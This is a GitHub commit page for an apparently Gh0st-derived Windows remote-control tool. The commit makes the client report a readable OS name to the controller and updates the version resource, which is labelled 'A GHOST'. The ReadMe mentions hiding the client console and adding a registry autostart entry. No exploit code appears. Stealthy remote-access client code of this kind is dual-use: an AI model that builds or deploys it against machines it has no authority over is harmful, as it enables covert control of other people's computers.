Skip to content

Commit

Permalink
修复操作系统上报不准确的问题
Browse files Browse the repository at this point in the history
主控端和受控端同时修改LOGIN_INFOR结构,修复了受控端上报的操作系统信息不准确的问题。
  • Loading branch information
yuanyuanxiang committed Mar 29, 2019
1 parent 188d5cd commit 1f03c14
Show file tree
Hide file tree
Showing 7 changed files with 131 additions and 34 deletions.
8 changes: 8 additions & 0 deletions ReadMe.txt
Original file line number Diff line number Diff line change
Expand Up @@ -169,3 +169,11 @@
1、将"2015Remote.rc"的一个光标文件"4.cur"的路径由绝对路径改为相对路径。

2、新增Release模式编译后控制台运行时不可见,新增TestRun向注册表写入开机自启动项。

2019.3.29

1、主控端和受控端同时修改LOGIN_INFOR结构,修复了受控端上报的操作系统信息不准确的问题。

2、发布V1.0.0.5。

注意:此次更新后的主控端需要和受控端匹配使用,否则可能出现问题。
115 changes: 113 additions & 2 deletions client/LoginServer.cpp
Original file line number Diff line number Diff line change
@@ -1,15 +1,126 @@
#include "StdAfx.h"
#include "LoginServer.h"
#include "Common.h"
#include <string>

/************************************************************************
---------------------
作者:IT1995
来源:CSDN
原文:https://blog.csdn.net/qq78442761/article/details/64440535
版权声明:本文为博主原创文章,转载请附上博文链接!
修改说明:2019.3.29由袁沅祥修改
************************************************************************/
std::string getSystemName()
{
std::string vname("未知操作系统");
//先判断是否为win8.1或win10
typedef void(__stdcall*NTPROC)(DWORD*, DWORD*, DWORD*);
HINSTANCE hinst = LoadLibrary("ntdll.dll");
DWORD dwMajor, dwMinor, dwBuildNumber;
NTPROC proc = (NTPROC)GetProcAddress(hinst, "RtlGetNtVersionNumbers");
proc(&dwMajor, &dwMinor, &dwBuildNumber);
if (dwMajor == 6 && dwMinor == 3) //win 8.1
{
vname = "Windows 8.1";
printf_s("此电脑的版本为:%s\n", vname.c_str());
return vname;
}
if (dwMajor == 10 && dwMinor == 0) //win 10
{
vname = "Windows 10";
printf_s("此电脑的版本为:%s\n", vname.c_str());
return vname;
}
//下面不能判断Win Server,因为本人还未有这种系统的机子,暂时不给出

//判断win8.1以下的版本
SYSTEM_INFO info; //用SYSTEM_INFO结构判断64位AMD处理器
GetSystemInfo(&info); //调用GetSystemInfo函数填充结构
OSVERSIONINFOEX os;
os.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
if (GetVersionEx((OSVERSIONINFO *)&os))
{
//下面根据版本信息判断操作系统名称
switch (os.dwMajorVersion)
{ //判断主版本号
case 4:
switch (os.dwMinorVersion)
{ //判断次版本号
case 0:
if (os.dwPlatformId == VER_PLATFORM_WIN32_NT)
vname ="Windows NT 4.0"; //1996年7月发布
else if (os.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS)
vname = "Windows 95";
break;
case 10:
vname ="Windows 98";
break;
case 90:
vname = "Windows Me";
break;
}
break;
case 5:
switch (os.dwMinorVersion)
{ //再比较dwMinorVersion的值
case 0:
vname = "Windows 2000"; //1999年12月发布
break;
case 1:
vname = "Windows XP"; //2001年8月发布
break;
case 2:
if (os.wProductType == VER_NT_WORKSTATION &&
info.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
vname = "Windows XP Professional x64 Edition";
else if (GetSystemMetrics(SM_SERVERR2) == 0)
vname = "Windows Server 2003"; //2003年3月发布
else if (GetSystemMetrics(SM_SERVERR2) != 0)
vname = "Windows Server 2003 R2";
break;
}
break;
case 6:
switch (os.dwMinorVersion)
{
case 0:
if (os.wProductType == VER_NT_WORKSTATION)
vname = "Windows Vista";
else
vname = "Windows Server 2008"; //服务器版本
break;
case 1:
if (os.wProductType == VER_NT_WORKSTATION)
vname = "Windows 7";
else
vname = "Windows Server 2008 R2";
break;
case 2:
if (os.wProductType == VER_NT_WORKSTATION)
vname = "Windows 8";
else
vname = "Windows Server 2012";
break;
}
break;
default:
vname = "未知操作系统";
}
printf_s("此电脑的版本为:%s\n", vname.c_str());
}
else
printf_s("版本获取失败\n");
return vname;
}


int SendLoginInfo(IOCPClient* ClientObject,DWORD dwSpeed)
{
LOGIN_INFOR LoginInfor = {0};
LoginInfor.bToken = TOKEN_LOGIN; // 令牌为登录
//获得操作系统信息
LoginInfor.OsVerInfoEx.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
GetVersionEx((OSVERSIONINFO *)&LoginInfor.OsVerInfoEx); // 注意转换类型
strcpy_s(LoginInfor.OsVerInfoEx, getSystemName().c_str());

//获得PCName
char szPCName[MAX_PATH] = {0};
Expand Down
2 changes: 1 addition & 1 deletion client/LoginServer.h
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@
typedef struct _LOGIN_INFOR
{
BYTE bToken; // 取1,登陆信息
OSVERSIONINFOEX OsVerInfoEx; // 版本信息
char OsVerInfoEx[sizeof(OSVERSIONINFOEX)];// 版本信息
DWORD dwCPUMHz; // CPU主频
IN_ADDR ClientAddr; // 存储32位的IPv4的地址数据结构
char szPCName[MAX_PATH]; // 主机名
Expand Down
4 changes: 2 additions & 2 deletions client/Script.rc
Original file line number Diff line number Diff line change
Expand Up @@ -87,7 +87,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
//

VS_VERSION_INFO VERSIONINFO
FILEVERSION 1,0,0,4
FILEVERSION 1,0,0,5
PRODUCTVERSION 1,0,0,1
FILEFLAGSMASK 0x3fL
#ifdef _DEBUG
Expand All @@ -105,7 +105,7 @@ BEGIN
BEGIN
VALUE "CompanyName", "FUCK THE UNIVERSE"
VALUE "FileDescription", "A GHOST"
VALUE "FileVersion", "1.0.0.4"
VALUE "FileVersion", "1.0.0.5"
VALUE "InternalName", "ServerDl.dll"
VALUE "LegalCopyright", "Copyright (C) 2019-2025"
VALUE "OriginalFilename", "ServerDl.dll"
Expand Down
Binary file modified server/2015Remote/2015Remote.rc
Binary file not shown.
34 changes: 6 additions & 28 deletions server/2015Remote/2015RemoteDlg.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -54,12 +54,12 @@ typedef struct
COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] =
{
{"IP", 148 },
{"端口", 150 },
{"端口", 64 },
{"计算机名/备注", 160 },
{"操作系统", 128 },
{"操作系统", 256 },
{"CPU", 80 },
{"摄像头", 81 },
{"PING", 151 },
{"摄像头", 72 },
{"PING", 100 },
};

// 用于应用程序“关于”菜单项的 CAboutDlg 对话框
Expand Down Expand Up @@ -970,30 +970,8 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
//主机名称
strPCName = LoginInfor->szPCName;

switch (LoginInfor->OsVerInfoEx.dwPlatformId)
{
case VER_PLATFORM_WIN32_NT:
if ( LoginInfor->OsVerInfoEx.dwMajorVersion <= 4 )
strOS = "WindowsNT";
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 5 && LoginInfor->OsVerInfoEx.dwMinorVersion == 0 )
strOS = "Windows2000";
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 5 && LoginInfor->OsVerInfoEx.dwMinorVersion == 1 )
strOS = "WindowsXP";
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 5 && LoginInfor->OsVerInfoEx.dwMinorVersion == 2 )
strOS = "Windows2003";
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 6 && LoginInfor->OsVerInfoEx.dwMinorVersion == 0 )
strOS = "WindowsVista";
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 6 && LoginInfor->OsVerInfoEx.dwMinorVersion == 1 )
strOS = "Windows7";
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 6 && LoginInfor->OsVerInfoEx.dwMinorVersion == 2 )
strOS = "Windows8";
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 6 && LoginInfor->OsVerInfoEx.dwMinorVersion == 3 )
strOS = "Windows8.1";
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 6 && LoginInfor->OsVerInfoEx.dwMinorVersion == 4 )
strOS = "Windows10";
if ( LoginInfor->OsVerInfoEx.dwMajorVersion == 10 && LoginInfor->OsVerInfoEx.dwMinorVersion == 0 )
strOS = "Windows10";
}
//版本信息
strOS = LoginInfor->OsVerInfoEx;

//CPU
strCPU.Format("%dMHz", LoginInfor->dwCPUMHz);
Expand Down
2 changes: 1 addition & 1 deletion server/2015Remote/2015RemoteDlg.h
Original file line number Diff line number Diff line change
Expand Up @@ -17,7 +17,7 @@
typedef struct _LOGIN_INFOR
{
BYTE bToken; // 取1,登陆信息
OSVERSIONINFOEX OsVerInfoEx; // 版本信息
char OsVerInfoEx[sizeof(OSVERSIONINFOEX)];// 版本信息
DWORD dwCPUMHz; // CPU主频
IN_ADDR ClientAddr; // 存储32位的IPv4的地址数据结构
char szPCName[MAX_PATH]; // 主机名
Expand Down

0 comments on commit 1f03c14

Please sign in to comment.